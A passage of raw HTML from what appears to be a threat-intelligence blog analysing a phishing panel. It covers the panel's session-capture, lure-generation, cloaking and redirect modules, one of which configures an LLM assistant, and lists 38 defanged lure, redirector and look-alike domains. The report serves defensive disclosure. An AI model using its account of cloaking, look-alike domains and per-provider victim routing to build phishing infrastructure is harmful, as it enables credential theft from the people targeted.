    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Self-contained HTML attachment templates\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Per-domain capture list\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        DocForge\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Branded lure documents with an obfuscated payload URL\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \u2014\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Domains\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Registry of hosting, role, anti-bot setting, geographic\u00a0filter\u00a0and worker binding\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        38 domains\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Cloaker\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Cloudflare Worker auto-deployment plus a drop-in PHP\u00a0cloaker\u00a0for shared hosting\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        External scoring\u00a0licenceattached\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Auto Redirect\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Routes the victim by mail provider after the address is entered\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        7 redirector hosts\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        S3 Links\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AWS buckets used to host lure documents\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        8 buckets\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        SMTP\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Two sending relays with credentials and DKIM material\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \u2014\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Settings\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Operator notifications, Cloudflare automation, Turnstile keys, LLM assistant, session-database backup\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \u2014\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-386'>\ntable#wpdtSimpleTable-386{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-386 td, table.wpdtSimpleTable386 th { white-space: normal !important; }\n<\/style>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"570\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-1024x570.png\" alt=\"The Sessions module: 29 captured Office 365 sessions with a live feed of targets, grouped as Active Work, Roll and Others.\" class=\"wp-image-23244\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-1024x570.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-300x167.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-768x428.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-1536x855.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-2048x1140.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-370x206.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-270x150.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-Sessions-module-740x412.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The Sessions module: 29 captured Office 365 sessions with a live feed of targets, grouped as Active Work, Roll and Others<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"574\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-1024x574.png\" alt=\"The Adobe Sender module, an Adobe Document Cloud control hub: 1,593 documents sent across all jobs, with the share-invite form on the right\" class=\"wp-image-23246\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-1024x574.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-300x168.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-768x431.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-1536x861.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-2048x1149.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-370x208.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-270x151.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/SCuite-session-module-1-740x415.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The Adobe Sender module, an Adobe Document Cloud control hub: 1,593 documents sent across all jobs, with the share-invite form on the right<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"574\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-1024x574.png\" alt=\"The Logs module: session refresh and expiry events per target, each row carrying the victim address, location and carrier.\" class=\"wp-image-23247\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-1024x574.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-300x168.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-768x431.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-1536x861.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-2048x1149.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-370x208.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-270x151.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Logs-module-740x415.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The Logs module: session refresh and expiry events per target, each row carrying the victim address, location and carrier<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-1024x573.png\" alt=\"The Offline File Generator\" class=\"wp-image-23249\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-1024x573.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-300x168.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-768x430.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-1536x860.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-370x207.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-270x151.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22-740x414.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S22.png 2020w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The Offline File Generator: self-contained HTML attachment templates and the per-domain capture list<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-1024x577.png\" alt=\"DocForge, which generates branded lure documents around an obfuscated payload URL\" class=\"wp-image-23251\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-1024x577.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-300x169.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-768x432.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-1536x865.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-370x208.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-270x152.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module-740x417.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-module.png 2005w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>DocForge, which generates branded lure documents around an obfuscated payload URL<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"571\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-1024x571.png\" alt=\"The add-domain form, with the landing template list: Office 365 Voicemail, SharePoint, DocuSign, Adobe PDF and Teams\" class=\"wp-image-23252\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-1024x571.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-300x167.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-768x428.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-1536x856.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-370x206.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-270x150.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite-740x412.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/The-add-domain-form-of-CSuite.png 2021w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The add-domain form, with the landing template list: Office 365 Voicemail, SharePoint, DocuSign, Adobe PDF and Teams<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-1024x577.png\" alt=\"An edit-domain dialogue: the Adobe PDF template, device-code capture mode and a post-capture redirect to corporate-sync-gate[.]net\" class=\"wp-image-23253\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-1024x577.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-300x169.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-768x432.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-1536x865.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-370x208.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-270x152.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details-740x417.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-details.png 2023w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>An edit-domain dialogue: the Adobe PDF template, device-code capture mode and a post-capture redirect to corporate-sync-gate[.]net<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The Adobe PDF template in that list is one of the observations that binds the two arms. The panel ships a landing template and a whole sender module built for the Adobe theme, and the delivery arm serves Adobe-themed pages from a domain that appears in the panel\u2019s own registry. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"989\" height=\"1024\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-989x1024.png\" alt=\"Settings: an OpenRouter assistant configured with nvidia\/nemotron-3-super-120b-a12b, alongside the operator\u2019s Cloudflare Turnstile site and secret keys\" class=\"wp-image-23254\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-989x1024.png 989w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-290x300.png 290w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-768x795.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-370x383.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-270x280.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35-740x766.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/S35.png 1096w\" sizes=\"auto, (max-width: 989px) 100vw, 989px\" \/><figcaption class=\"wp-element-caption\"><em>Settings: an OpenRouter assistant configured with nvidia\/nemotron-3-super-120b-a12b, alongside the operator\u2019s Cloudflare Turnstile site and secret keys<\/em><\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"568\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-1024x568.png\" alt=\"Settings: operator notifications, Cloudflare automation bound to the operator\u2019s own account, and scheduled off-panel backup of the session database. \" class=\"wp-image-23255\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-1024x568.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-300x166.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-768x426.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-1536x852.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-370x205.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-270x150.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings-740x411.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-settings.png 2037w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Settings: operator notifications, Cloudflare automation bound to the operator\u2019s own account, and scheduled off-panel backup of the session database<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Cluster Expansion <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The panel\u2019s own working modules carry far more infrastructure than the delivery chain ever touched. Four artifact classes expand the cluster. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The domain registry.<\/strong> Thirty-eight domains, each row tagged with a role, a capture mode, an anti-bot setting, a geographic filter and a Cloudflare Worker binding. Registry additions run from 2 April to 14 August 2026. Fourteen are live lure hosts, eight are redirectors, two run the Chameleon harvester, three are post-capture redirect targets, and seven sit on borrowed or borrowed-looking infrastructure: the shared-hosting domains behind the Adobe pages, plus two names built to read as organizations the group targets. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-385\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"7\"\n           data-wpID=\"385\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Role\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Domains\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        pdfsecurtoview365[.]sbs,\u00a0pdfsecurtoviewsuite[.]sbs,selectivelife01[.]sbs,\u00a0docsendsr[.]online,docseedn[.]online,\u00a0docseed[.]online,\u00a0pikecac[.]cfd,allshore-io[.]cam,\u00a0giiro[.]net,expressdocumentdelivery[.]org,\u00a0sharerpoint[.]cam,voicermailsmessager[.]cam,keepsecurepasserword[.]cam,\u00a0qrcoderuser[.]cfd,fincapitalxcom[.]cfd,\u00a0emsafetoproceedtaward[.]top\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Redirector\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        pdfsecurtoview[.]sbs,\u00a0pdfsecurtoview[.]cfd,pdfsecurtoview[.]info,\u00a0pdfsecurtoview365[.]cfd,documentsonitustechnologies[.]sbs,downloaddocumentcontechbuilding[.]sbs,documentationreviewdocument2026review[.]sbs,aviationpioneers[.]info\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Credential harvester\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        pdfsecurtoviewothers[.]sbs,pdfsecurtoviewothers[.]cfd\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Post-capture redirect\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        corporate-sync-gate[.]net,\u00a0legacy-bridge-node[.]net\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Impersonating a real\u00a0organisation\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ambitiousaboutautismorguk[.]com,solarengyloanfunds[.]com\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Shared-hosting account and its certificates\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        greenbullet[.]ba,\u00a0gddfzxa[.]online,\u00a0ghs.coorpes[.]com,greaterheights[.]sbs,\u00a0mmswerod[.]sbs\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-385'>\ntable#wpdtSimpleTable-385{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-385 td, table.wpdtSimpleTable385 th { white-space: normal !important; }\n<\/style>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-1024x597.png\" alt=\"The domain registry: hostname, role, anti-bot setting, geographic filter, worker binding and date added, for each of the 38 domains\" class=\"wp-image-23256\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-1024x597.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-300x175.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-768x448.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-1536x895.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-370x216.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-270x157.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry-740x431.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-domain-registry.png 1741w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The domain registry: hostname, role, anti-bot setting, geographic filter, worker binding and date added, for each of the 38 domains<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The Auto Redirect module shows how those hosts chain. A visitor who enters an address on pdfsecurtoview[.]sbs \u2014 61 clicks recorded \u2014 is routed by provider: Microsoft accounts to pdfsecurtoview365[.]sbs, Google accounts to corporate-sync-gate[.]net, everything else to the Chameleon harvester. Three redirectors send Microsoft victims to \/verify\/&lt;uuid&gt; paths on two domains that read as real organisations. ambitiousaboutautismorguk[.]com collapses the address of a UK autism charity into a single .com label, and solarengyloanfunds[.]com drops a letter from the name of an energy loan fund that already appears in the panel\u2019s own victim list. Both are registrations of the group\u2019s own, built to survive a glance at the address bar. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"569\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-1024x569.png\" alt=\"Auto Redirect: per-provider routing of the victim after the mail address is entered\" class=\"wp-image-23257\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-1024x569.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-300x167.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-768x427.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-1536x854.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Auto-Redirect-370x206.png 370w, 